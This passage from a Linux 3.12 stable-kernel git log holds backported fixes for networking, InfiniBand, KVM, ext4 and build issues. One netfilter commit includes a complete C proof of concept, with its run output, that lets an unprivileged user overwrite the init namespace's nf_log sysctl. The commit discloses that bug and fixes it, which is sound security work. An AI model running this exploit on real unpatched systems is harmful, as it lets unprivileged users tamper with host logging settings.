Fixes: 561f1103a2b7 ("bridge: Add multicast_snooping sysfs toggle") Reported-by: Satish Ashok Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit e83687e1c5531576996231d3201bc13d3c6c28ca Author: Nicolas Dichtel Date: Wed Oct 12 10:10:40 2016 +0200 ipv6: correctly add local routes when lo goes up [ Upstream commit a220445f9f4382c36a53d8ef3e08165fa27f7e2c ] The goal of the patch is to fix this scenario: ip link add dummy1 type dummy ip link set dummy1 up ip link set lo down ; ip link set lo up After that sequence, the local route to the link layer address of dummy1 is not there anymore. When the loopback is set down, all local routes are deleted by addrconf_ifdown()/rt6_ifdown(). At this time, the rt6_info entry still exists, because the corresponding idev has a reference on it. After the rcu grace period, dst_rcu_free() is called, and thus ___dst_free(), which will set obsolete to DST_OBSOLETE_DEAD. In this case, init_loopback() is called before dst_rcu_free(), thus obsolete is still sets to something <= 0. So, the function doesn't add the route again. To avoid that race, let's check the rt6 refcnt instead. Fixes: 25fb6ca4ed9c ("net IPv6 : Fix broken IPv6 routing table after loopback down-up") Fixes: a881ae1f625c ("ipv6: don't call addrconf_dst_alloc again when enable lo") Fixes: 33d99113b110 ("ipv6: reallocate addrconf router for ipv6 address when lo device up") Reported-by: Francesco Santoro Reported-by: Samuel Gauthier CC: Balakumaran Kannan CC: Maruthi Thotad CC: Sabrina Dubroca CC: Hannes Frederic Sowa CC: Weilong Chen CC: Gao feng Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 1bd84554a87f1065b05d34fe737e5b20e01be99a Author: Anoob Soman Date: Wed Oct 5 15:12:54 2016 +0100 packet: call fanout_release, while UNREGISTERING a netdev [ Upstream commit 6664498280cf17a59c3e7cf1a931444c02633ed1 ] If a socket has FANOUT sockopt set, a new proto_hook is registered as part of fanout_add(). When processing a NETDEV_UNREGISTER event in af_packet, __fanout_unlink is called for all sockets, but prot_hook which was registered as part of fanout_add is not removed. Call fanout_release, on a NETDEV_UNREGISTER, which removes prot_hook and removes fanout from the fanout_list. This fixes BUG_ON(!list_empty(&dev->ptype_specific)) in netdev_run_todo() Signed-off-by: Anoob Soman Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit a6109221deb9bf08efe73f258b7d7f8aa90db5d0 Author: Andrew Collins Date: Mon Oct 3 13:43:02 2016 -0600 net: Add netdev all_adj_list refcnt propagation to fix panic [ Upstream commit 93409033ae653f1c9a949202fb537ab095b2092f ] This is a respin of a patch to fix a relatively easily reproducible kernel panic related to the all_adj_list handling for netdevs in recent kernels. The following sequence of commands will reproduce the issue: ip link add link eth0 name eth0.100 type vlan id 100 ip link add link eth0 name eth0.200 type vlan id 200 ip link add name testbr type bridge ip link set eth0.100 master testbr ip link set eth0.200 master testbr ip link add link testbr mac0 type macvlan ip link delete dev testbr This creates an upper/lower tree of (excuse the poor ASCII art): /---eth0.100-eth0 mac0-testbr- \---eth0.200-eth0 When testbr is deleted, the all_adj_lists are walked, and eth0 is deleted twice from the mac0 list. Unfortunately, during setup in __netdev_upper_dev_link, only one reference to eth0 is added, so this results in a panic. This change adds reference count propagation so things are handled properly. Matthias Schiffer reported a similar crash in batman-adv: https://github.com/freifunk-gluon/gluon/issues/680 https://www.open-mesh.org/issues/247 which this patch also seems to resolve. [js] 3.12 does not have lists yet. Signed-off-by: Andrew Collins Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 83d83b52245e623d53e7b766e23fc43bf80e77eb Author: Nikolay Aleksandrov Date: Sun Sep 25 23:08:31 2016 +0200 ipmr, ip6mr: fix scheduling while atomic and a deadlock with ipmr_get_route [ Upstream commit 2cf750704bb6d7ed8c7d732e071dd1bc890ea5e8 ] Since the commit below the ipmr/ip6mr rtnl_unicast() code uses the portid instead of the previous dst_pid which was copied from in_skb's portid. Since the skb is new the portid is 0 at that point so the packets are sent to the kernel and we get scheduling while atomic or a deadlock (depending on where it happens) by trying to acquire rtnl two times. Also since this is RTM_GETROUTE, it can be triggered by a normal user. Here's the sleeping while atomic trace: [ 7858.212557] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:620 [ 7858.212748] in_atomic(): 1, irqs_disabled(): 0, pid: 0, name: swapper/0 [ 7858.212881] 2 locks held by swapper/0/0: [ 7858.213013] #0: (((&mrt->ipmr_expire_timer))){+.-...}, at: [] call_timer_fn+0x5/0x350 [ 7858.213422] #1: (mfc_unres_lock){+.....}, at: [] ipmr_expire_process+0x25/0x130 [ 7858.213807] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.8.0-rc7+ #179 [ 7858.213934] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014 [ 7858.214108] 0000000000000000 ffff88005b403c50 ffffffff813a7804 0000000000000000 [ 7858.214412] ffffffff81a1338e ffff88005b403c78 ffffffff810a4a72 ffffffff81a1338e [ 7858.214716] 000000000000026c 0000000000000000 ffff88005b403ca8 ffffffff810a4b9f [ 7858.215251] Call Trace: [ 7858.215412] [] dump_stack+0x85/0xc1 [ 7858.215662] [] ___might_sleep+0x192/0x250 [ 7858.215868] [] __might_sleep+0x6f/0x100 [ 7858.216072] [] mutex_lock_nested+0x33/0x4d0 [ 7858.216279] [] ? netlink_lookup+0x25f/0x460 [ 7858.216487] [] rtnetlink_rcv+0x1b/0x40 [ 7858.216687] [] netlink_unicast+0x19c/0x260 [ 7858.216900] [] rtnl_unicast+0x20/0x30 [ 7858.217128] [] ipmr_destroy_unres+0xa9/0xf0 [ 7858.217351] [] ipmr_expire_process+0x8f/0x130 [ 7858.217581] [] ? ipmr_net_init+0x180/0x180 [ 7858.217785] [] ? ipmr_net_init+0x180/0x180 [ 7858.217990] [] call_timer_fn+0xa5/0x350 [ 7858.218192] [] ? call_timer_fn+0x5/0x350 [ 7858.218415] [] ? ipmr_net_init+0x180/0x180 [ 7858.218656] [] run_timer_softirq+0x260/0x640 [ 7858.218865] [] ? __do_softirq+0xbb/0x54f [ 7858.219068] [] __do_softirq+0xe8/0x54f [ 7858.219269] [] irq_exit+0xb8/0xc0 [ 7858.219463] [] smp_apic_timer_interrupt+0x42/0x50 [ 7858.219678] [] apic_timer_interrupt+0x8c/0xa0 [ 7858.219897] [] ? native_safe_halt+0x6/0x10 [ 7858.220165] [] ? trace_hardirqs_on+0xd/0x10 [ 7858.220373] [] default_idle+0x23/0x190 [ 7858.220574] [] arch_cpu_idle+0xf/0x20 [ 7858.220790] [] default_idle_call+0x4c/0x60 [ 7858.221016] [] cpu_startup_entry+0x39b/0x4d0 [ 7858.221257] [] rest_init+0x135/0x140 [ 7858.221469] [] start_kernel+0x50e/0x51b [ 7858.221670] [] ? early_idt_handler_array+0x120/0x120 [ 7858.221894] [] x86_64_start_reservations+0x2a/0x2c [ 7858.222113] [] x86_64_start_kernel+0x13b/0x14a Fixes: 2942e9005056 ("[RTNETLINK]: Use rtnl_unicast() for rtnetlink unicasts") Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 8026beb452017c7030389b0ee7b00a8d08d6bd5a Author: Lance Richardson Date: Fri Sep 23 15:50:29 2016 -0400 ip6_gre: fix flowi6_proto value in ip6gre_xmit_other() [ Upstream commit db32e4e49ce2b0e5fcc17803d011a401c0a637f6 ] Similar to commit 3be07244b733 ("ip6_gre: fix flowi6_proto value in xmit path"), set flowi6_proto to IPPROTO_GRE for output route lookup. Up until now, ip6gre_xmit_other() has set flowi6_proto to a bogus value. This affected output route lookup for packets sent on an ip6gretap device in cases where routing was dependent on the value of flowi6_proto. Since the correct proto is already set in the tunnel flowi6 template via commit 252f3f5a1189 ("ip6_gre: Set flowi6_proto as IPPROTO_GRE in xmit path."), simply delete the line setting the incorrect flowi6_proto value. Suggested-by: Jiri Benc Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Reviewed-by: Shmulik Ladkani Signed-off-by: Lance Richardson Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 511ad85e5eb023f16494d703446f3d7b7f09e879 Author: Douglas Caetano dos Santos Date: Thu Sep 22 15:52:04 2016 -0300 tcp: fix wrong checksum calculation on MTU probing [ Upstream commit 2fe664f1fcf7c4da6891f95708a7a56d3c024354 ] With TCP MTU probing enabled and offload TX checksumming disabled, tcp_mtu_probe() calculated the wrong checksum when a fragment being copied into the probe's SKB had an odd length. This was caused by the direct use of skb_copy_and_csum_bits() to calculate the checksum, as it pads the fragment being copied, if needed. When this fragment was not the last, a subsequent call used the previous checksum without considering this padding. The effect was a stale connection in one way, as even retransmissions wouldn't solve the problem, because the checksum was never recalculated for the full SKB length. Signed-off-by: Douglas Caetano dos Santos Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 1497fd0e23a1cbf0bfda0af3107d825166d98e3d Author: Eric Dumazet Date: Thu Sep 15 08:48:46 2016 -0700 net: avoid sk_forward_alloc overflows [ Upstream commit 20c64d5cd5a2bdcdc8982a06cb05e5e1bd851a3d ] A malicious TCP receiver, sending SACK, can force the sender to split skbs in write queue and increase its memory usage. Then, when socket is closed and its write queue purged, we might overflow sk_forward_alloc (It becomes negative) sk_mem_reclaim() does nothing in this case, and more than 2GB are leaked from TCP perspective (tcp_memory_allocated is not changed) Then warnings trigger from inet_sock_destruct() and sk_stream_kill_queues() seeing a not zero sk_forward_alloc All TCP stack can be stuck because TCP is under memory pressure. A simple fix is to preemptively reclaim from sk_mem_uncharge(). This makes sure a socket wont have more than 2 MB forward allocated, after burst and idle period. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 85974477c81193a33b3a757d007e8bbaf5bf0516 Author: Eric Dumazet Date: Thu Sep 15 08:12:33 2016 -0700 tcp: fix overflow in __tcp_retransmit_skb() [ Upstream commit ffb4d6c8508657824bcef68a36b2a0f9d8c09d10 ] If a TCP socket gets a large write queue, an overflow can happen in a test in __tcp_retransmit_skb() preventing all retransmits. The flow then stalls and resets after timeouts. Tested: sysctl -w net.core.wmem_max=1000000000 netperf -H dest -- -s 1000000000 Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit d7f754f86363bbcd43b7562e0181724c39c4b5ea Author: Eric Dumazet Date: Fri May 15 12:39:25 2015 -0700 net: fix sk_mem_reclaim_partial() commit 1a24e04e4b50939daa3041682b38b82c896ca438 upstream. sk_mem_reclaim_partial() goal is to ensure each socket has one SK_MEM_QUANTUM forward allocation. This is needed both for performance and better handling of memory pressure situations in follow up patches. SK_MEM_QUANTUM is currently a page, but might be reduced to 4096 bytes as some arches have 64KB pages. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit ed453170fc54a3d8509c8c609e1bb7b49fbd0a24 Author: Mark Bloch Date: Thu Oct 27 16:36:27 2016 +0300 IB/cm: Mark stale CM id's whenever the mad agent was unregistered commit 9db0ff53cb9b43ed75bacd42a89c1a0ab048b2b0 upstream. When there is a CM id object that has port assigned to it, it means that the cm-id asked for the specific port that it should go by it, but if that port was removed (hot-unplug event) the cm-id was not updated. In order to fix that the port keeps a list of all the cm-id's that are planning to go by it, whenever the port is removed it marks all of them as invalid. This commit fixes a kernel panic which happens when running traffic between guests and we force reboot a guest mid traffic, it triggers a kernel panic: Call Trace: [] ? panic+0xa7/0x16f [] ? oops_end+0xe4/0x100 [] ? no_context+0xfb/0x260 [] ? del_timer_sync+0x22/0x30 [] ? __bad_area_nosemaphore+0x125/0x1e0 [] ? process_timeout+0x0/0x10 [] ? bad_area_nosemaphore+0x13/0x20 [] ? __do_page_fault+0x31f/0x480 [] ? default_wake_function+0x0/0x20 [] ? free_msg+0x55/0x70 [mlx5_core] [] ? cmd_exec+0x124/0x840 [mlx5_core] [] ? find_busiest_group+0x244/0x9f0 [] ? do_page_fault+0x3e/0xa0 [] ? page_fault+0x25/0x30 [] ? cm_alloc_msg+0x35/0xc0 [ib_cm] [] ? ib_send_cm_dreq+0xb1/0x1e0 [ib_cm] [] ? cm_destroy_id+0x176/0x320 [ib_cm] [] ? ib_destroy_cm_id+0x10/0x20 [ib_cm] [] ? ipoib_cm_free_rx_reap_list+0xa7/0x110 [ib_ipoib] [] ? ipoib_cm_rx_reap+0x0/0x20 [ib_ipoib] [] ? ipoib_cm_rx_reap+0x15/0x20 [ib_ipoib] [] ? worker_thread+0x170/0x2a0 [] ? autoremove_wake_function+0x0/0x40 [] ? worker_thread+0x0/0x2a0 [] ? kthread+0x96/0xa0 [] ? child_rip+0xa/0x20 [] ? kthread+0x0/0xa0 [] ? child_rip+0x0/0x20 Fixes: a977049dacde ("[PATCH] IB: Add the kernel CM implementation") Signed-off-by: Mark Bloch Signed-off-by: Erez Shitrit Reviewed-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Jiri Slaby commit 81b33083ca84c12091a11abd6397b18f21207dc7 Author: Tariq Toukan Date: Thu Oct 27 16:36:26 2016 +0300 IB/uverbs: Fix leak of XRC target QPs commit 5b810a242c28e1d8d64d718cebe75b79d86a0b2d upstream. The real QP is destroyed in case of the ref count reaches zero, but for XRC target QPs this call was missed and caused to QP leaks. Let's call to destroy for all flows. Fixes: 0e0ec7e0638e ('RDMA/core: Export ib_open_qp() to share XRC...') Signed-off-by: Tariq Toukan Signed-off-by: Noa Osherovich Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Jiri Slaby commit a6f56e55d4e94024ea8275fe50f54d667f100a2f Author: Eli Cohen Date: Thu Oct 27 16:36:44 2016 +0300 IB/mlx5: Fix fatal error dispatching commit dbaaff2a2caa03d472b5cc53a3fbfd415c97dc26 upstream. When an internal error condition is detected, make sure to set the device inactive after dispatching the event so ULPs can get a notification of this event. Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters') Signed-off-by: Eli Cohen Signed-off-by: Maor Gottlieb Reviewed-by: Mohamad Haj Yahia Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Jiri Slaby commit 577f7b9e99d1a86284a02792e038511293e56710 Author: Daniel Jurgens Date: Thu Oct 27 16:36:41 2016 +0300 IB/mlx5: Use cache line size to select CQE stride commit 16b0e0695a73b68d8ca40288c8f9614ef208917b upstream. When creating kernel CQs use 128B CQE stride if the cache line size is 128B, 64B otherwise. This prevents multiple CQEs from residing in a 128B cache line, which can cause retries when there are concurrent read and writes in one cache line. Tested with IPoIB on PPC64, saw ~5% throughput improvement. Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters') Signed-off-by: Daniel Jurgens Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Jiri Slaby commit 3ee9c742bb021ab292e97f1e26bf2a339b20310c Author: Matan Barak Date: Thu Nov 10 11:30:55 2016 +0200 IB/mlx4: Fix create CQ error flow commit 593ff73bcfdc79f79a8a0df55504f75ad3e5d1a9 upstream. Currently, if ib_copy_to_udata fails, the CQ won't be deleted from the radix tree and the HW (HW2SW). Fixes: 225c7b1feef1 ('IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters') Signed-off-by: Matan Barak Signed-off-by: Daniel Jurgens Reviewed-by: Mark Bloch Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Jiri Slaby commit 270202d09fb6cdfbe89d19948c068b4487286693 Author: Johan Hovold Date: Tue Nov 1 11:49:56 2016 +0100 PM / sleep: fix device reference leak in test_suspend commit ceb75787bc75d0a7b88519ab8a68067ac690f55a upstream. Make sure to drop the reference taken by class_find_device() after opening the RTC device. Fixes: 77437fd4e61f (pm: boot time suspend selftest) Signed-off-by: Johan Hovold Signed-off-by: Rafael J. Wysocki Signed-off-by: Jiri Slaby commit b0c22e761d054ac018cbac545cee7b2144939bd3 Author: Johan Hovold Date: Tue Nov 1 12:13:31 2016 +0100 uwb: fix device reference leaks commit d6124b409ca33c100170ffde51cd8dff761454a1 upstream. This subsystem consistently fails to drop the device reference taken by class_find_device(). Note that some of these lookup functions already take a reference to the returned data, while others claim no reference is needed (or does not seem need one). Fixes: 183b9b592a62 ("uwb: add the UWB stack (core files)") Signed-off-by: Johan Hovold Signed-off-by: Jiri Slaby commit 4738e9d2a1891cbef76471754e98e35456280e07 Author: Johan Hovold Date: Tue Nov 1 11:38:18 2016 +0100 mfd: core: Fix device reference leak in mfd_clone_cell commit 722f191080de641f023feaa7d5648caf377844f5 upstream. Make sure to drop the reference taken by bus_find_device_by_name() before returning from mfd_clone_cell(). Fixes: a9bbba996302 ("mfd: add platform_device sharing support for mfd") Signed-off-by: Johan Hovold Signed-off-by: Lee Jones Signed-off-by: Jiri Slaby commit 27bbc77aa6370720b0f48d863a9db3b387da23ff Author: Theodore Ts'o Date: Fri Nov 18 13:00:24 2016 -0500 ext4: sanity check the block and cluster size at mount time commit 8cdf3372fe8368f56315e66bea9f35053c418093 upstream. If the block size or cluster size is insane, reject the mount. This is important for security reasons (although we shouldn't be just depending on this check). Ref: http://www.securityfocus.com/archive/1/539661 Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1332506 Reported-by: Borislav Petkov Reported-by: Nikolay Borisov Signed-off-by: Theodore Ts'o Signed-off-by: Jiri Slaby commit 1899316d2b583b20c0751c1b1bf09333447bea90 Author: Borislav Petkov Date: Mon Nov 14 19:41:31 2016 +0100 kbuild: Steal gcc's pie from the very beginning commit c6a385539175ebc603da53aafb7753d39089f32e upstream. So Sebastian turned off the PIE for kernel builds but that was too late - Kbuild.include already uses KBUILD_CFLAGS and trying to disable gcc options with, say cc-disable-warning, fails: gcc -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs ... -Wno-sign-compare -fno-asynchronous-unwind-tables -Wframe-address -c -x c /dev/null -o .31392.tmp /dev/null:1:0: error: code model kernel does not support PIC mode because that returns an error and we can't disable the warning. For example in this case: KBUILD_CFLAGS += $(call cc-disable-warning,frame-address,) which leads to gcc issuing all those warnings again. So let's turn off PIE/PIC at the earliest possible moment, when we declare KBUILD_CFLAGS so that cc-disable-warning picks it up too. Also, we need the $(call cc-option ...) because -fno-PIE is supported since gcc v3.4 and our lowest supported gcc version is 3.2 right now. Signed-off-by: Borislav Petkov Cc: Ben Hutchings Cc: Sebastian Andrzej Siewior Signed-off-by: Michal Marek Signed-off-by: Jiri Slaby commit 1cdca2c78b4b100c7beace27f5bb3dd6612ac25f Author: Sebastian Andrzej Siewior Date: Fri Nov 4 19:39:39 2016 +0100 scripts/has-stack-protector: add -fno-PIE commit 82031ea29e454b574bc6f49a33683a693ca5d907 upstream. Adding -no-PIE to the fstack protector check. -no-PIE was introduced before -fstack-protector so there is no need for a runtime check. Without it the build stops: |Cannot use CONFIG_CC_STACKPROTECTOR_STRONG: -fstack-protector-strong available but compiler is broken due to -mcmodel=kernel + -fPIE if -fPIE is enabled by default. Tagging it stable so it is possible to compile recent stable kernels as well. Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Michal Marek Signed-off-by: Jiri Slaby commit a2729c7d5a6336411ad1ab7a518701e38ef8a44c Author: Sebastian Andrzej Siewior Date: Fri Nov 4 19:39:38 2016 +0100 kbuild: add -fno-PIE commit 8ae94224c9d72fc4d9aaac93b2d7833cf46d7141 upstream. Debian started to build the gcc with -fPIE by default so the kernel build ends before it starts properly with: |kernel/bounds.c:1:0: error: code model kernel does not support PIC mode Also add to KBUILD_AFLAGS due to: |gcc -Wp,-MD,arch/x86/entry/vdso/vdso32/.note.o.d … -mfentry -DCC_USING_FENTRY … vdso/vdso32/note.S |arch/x86/entry/vdso/vdso32/note.S:1:0: sorry, unimplemented: -mfentry isn’t supported for 32-bit in combination with -fpic Tagging it stable so it is possible to compile recent stable kernels as well. Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Michal Marek Signed-off-by: Jiri Slaby commit 9b3ae9969e68ca4b19e475869dd425d21973524e Author: Oliver Hartkopp Date: Mon Oct 24 21:11:26 2016 +0200 can: bcm: fix warning in bcm_connect/proc_register commit deb507f91f1adbf64317ad24ac46c56eeccfb754 upstream. Andrey Konovalov reported an issue with proc_register in bcm.c. As suggested by Cong Wang this patch adds a lock_sock() protection and a check for unsuccessful proc_create_data() in bcm_connect(). Reference: http://marc.info/?l=linux-netdev&m=147732648731237 Reported-by: Andrey Konovalov Suggested-by: Cong Wang Signed-off-by: Oliver Hartkopp Acked-by: Cong Wang Tested-by: Andrey Konovalov Signed-off-by: Marc Kleine-Budde Signed-off-by: Jiri Slaby commit 2cc109fc7bc51a3593924302bd87f393d6b95f06 Author: Ignacio Alvarado Date: Fri Nov 4 12:15:55 2016 -0700 KVM: Disable irq while unregistering user notifier commit 1650b4ebc99da4c137bfbfc531be4a2405f951dd upstream. Function user_notifier_unregister should be called only once for each registered user notifier. Function kvm_arch_hardware_disable can be executed from an IPI context which could cause a race condition with a VCPU returning to user mode and attempting to unregister the notifier. Signed-off-by: Ignacio Alvarado Fixes: 18863bdd60f8 ("KVM: x86 shared msr infrastructure") Reviewed-by: Paolo Bonzini Signed-off-by: Radim Krčmář Signed-off-by: Jiri Slaby commit 1e34a48ab5a87ded69ca6e0e9337c293c865960c Author: Paolo Bonzini Date: Thu Nov 17 15:55:46 2016 +0100 KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr commit 7301d6abaea926d685832f7e1f0c37dd206b01f4 upstream. Reported by syzkaller: [ INFO: suspicious RCU usage. ] 4.9.0-rc4+ #47 Not tainted ------------------------------- ./include/linux/kvm_host.h:536 suspicious rcu_dereference_check() usage! stack backtrace: CPU: 1 PID: 6679 Comm: syz-executor Not tainted 4.9.0-rc4+ #47 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff880039e2f6d0 ffffffff81c2e46b ffff88003e3a5b40 0000000000000000 0000000000000001 ffffffff83215600 ffff880039e2f700 ffffffff81334ea9 ffffc9000730b000 0000000000000004 ffff88003c4f8420 ffff88003d3f8000 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [] dump_stack+0xb3/0x118 lib/dump_stack.c:51 [] lockdep_rcu_suspicious+0x139/0x180 kernel/locking/lockdep.c:4445 [< inline >] __kvm_memslots include/linux/kvm_host.h:534 [< inline >] kvm_memslots include/linux/kvm_host.h:541 [] kvm_gfn_to_hva_cache_init+0xa1e/0xce0 virt/kvm/kvm_main.c:1941 [] kvm_lapic_set_vapic_addr+0xed/0x140 arch/x86/kvm/lapic.c:2217 Reported-by: Dmitry Vyukov Fixes: fda4e2e85589191b123d31cdc21fd33ee70f50fd Cc: Andrew Honig Signed-off-by: Paolo Bonzini Reviewed-by: David Hildenbrand Signed-off-by: Radim Krčmář Signed-off-by: Jiri Slaby commit bae05436ad7a9b8481352d80108738af69a5988b Author: Jann Horn Date: Sun Sep 18 21:40:55 2016 +0200 netfilter: fix namespace handling in nf_log_proc_dostring commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream. nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn Signed-off-by: Pablo Neira Ayuso Signed-off-by: Jiri Slaby commit 1a13c10fa37dac648f0b822cb567454ef4c1bfd4 Author: Fabio Estevam Date: Sat Nov 5 17:45:07 2016 -0200 mmc: mxs: Initialize the spinlock prior to using it commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f upstream. An interrupt may occur right after devm_request_irq() is called and prior to the spinlock initialization, leading to a kernel oops, as the interrupt handler uses the spinlock. In order to prevent this problem, move the spinlock initialization prior to requesting the interrupts. Fixes: e4243f13d10e (mmc: mxs-mmc: add mmc host driver for i.MX23/28) Signed-off-by: Fabio Estevam Reviewed-by: Marek Vasut Signed-off-by: Ulf Hansson Signed-off-by: Jiri Slaby commit f9bb2b8439a1915e472dd20d4f78068a3337eb27 Author: Punit Agrawal Date: Tue Oct 18 17:07:19 2016 +0100 ACPI / APEI: Fix incorrect return value of ghes_proc() commit 806487a8fc8f385af75ed261e9ab658fc845e633 upstream. Although ghes_proc() tests for errors while reading the error status, it always return success (0). Fix this by propagating the return value. Fixes: d334a49113a4a33 (ACPI, APEI, Generic Hardware Error Source memory error support) Signed-of-by: Punit Agrawal Tested-by: Tyler Baicar Reviewed-by: Borislav Petkov [ rjw: Subject ] Signed-off-by: Rafael J. Wysocki Signed-off-by: Jiri Slaby commit 43aa0aa5757342a668fdff5a171bad631ba564c3 Author: Daniel Mentz Date: Thu Oct 27 17:46:59 2016 -0700 lib/genalloc.c: start search from start of chunk commit 62e931fac45b17c2a42549389879411572f75804 upstream. gen_pool_alloc_algo() iterates over the chunks of a pool trying to find a contiguous block of memory that satisfies the allocation request. The shortcut if (size > atomic_read(&chunk->avail)) continue; makes the loop skip over chunks that do not have enough bytes left to fulfill the request. There are two situations, though, where an allocation might still fail: (1) The available memory is not contiguous, i.e. the request cannot be fulfilled due to external fragmentation. (2) A race condition. Another thread runs the same code concurrently and is quicker to grab the available memory. In those situations, the loop calls pool->algo() to search the entire chunk, and pool->algo() returns some value that is >= end_bit to indicate that the search failed. This return value is then assigned to start_bit. The variables start_bit and end_bit describe the range that should be searched, and this range should be reset for every chunk that is searched. Today, the code fails to reset start_bit to 0. As a result, prefixes of subsequent chunks are ignored. Memory allocations might fail even though there is plenty of room left in these prefixes of those other chunks. Fixes: 7f184275aa30 ("lib, Make gen_pool memory allocator lockless") Link: http://lkml.kernel.org/r/1477420604-28918-1-git-send-email-danielmentz@google.com Signed-off-by: Daniel Mentz Reviewed-by: Mathieu Desnoyers Acked-by: Will Deacon Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Jiri Slaby commit 15b6d54a513b5e65f651e8c175ef63b7c0c192cf Author: Alexander Usyskin Date: Mon Oct 31 19:02:39 2016 +0200 mei: bus: fix received data size check in NFC fixup commit 582ab27a063a506ccb55fc48afcc325342a2deba upstream. NFC version reply size checked against only header size, not against full message size. That may lead potentially to uninitialized memory access in version data. That leads to warnings when version data is accessed: drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]: => 212:2 Reported in Build regressions/improvements in v4.9-rc3 https://lkml.org/lkml/2016/10/30/57 [js] the check is in 3.12 only once Fixes: 59fcd7c63abf (mei: nfc: Initial nfc implementation) Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Jiri Slaby commit 1fd4c5e383c44934691f1d2fb356a8533591fa8e Author: Baoquan He Date: Thu Sep 15 16:50:52 2016 +0800 iommu/amd: Free domain id when free a domain of struct dma_ops_domain commit c3db901c54466a9c135d1e6e95fec452e8a42666 upstream. The current code missed freeing domain id when free a domain of struct dma_ops_domain. Signed-off-by: Baoquan He Fixes: ec487d1a110a ('x86, AMD IOMMU: add domain allocation and deallocation functions') Signed-off-by: Joerg Roedel Signed-off-by: Jiri Slaby commit e7c0f8d4aa998e9cadd8037cf326d38f22fe639c Author: Richard Weinberger Date: Wed Nov 9 22:52:58 2016 +0100 drbd: Fix kernel_sendmsg() usage - potential NULL deref commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 upstream. Don't pass a size larger than iov_len to kernel_sendmsg(). Otherwise it will cause a NULL pointer deref when kernel_sendmsg() returns with rv < size. DRBD as external module has been around in the kernel 2.4 days already. We used to be compatible to 2.4 and very early 2.6 kernels, we used to use rv = sock_sendmsg(sock, &msg, iov.iov_len); then later changed to rv = kernel_sendmsg(sock, &msg, &iov, 1, size); when we should have used rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len); tcp_sendmsg() used to totally ignore the size parameter. 57be5bd ip: convert tcp_sendmsg() to iov_iter primitives changes that, and exposes our long standing error. Even with this error exposed, to trigger the bug, we would need to have an environment 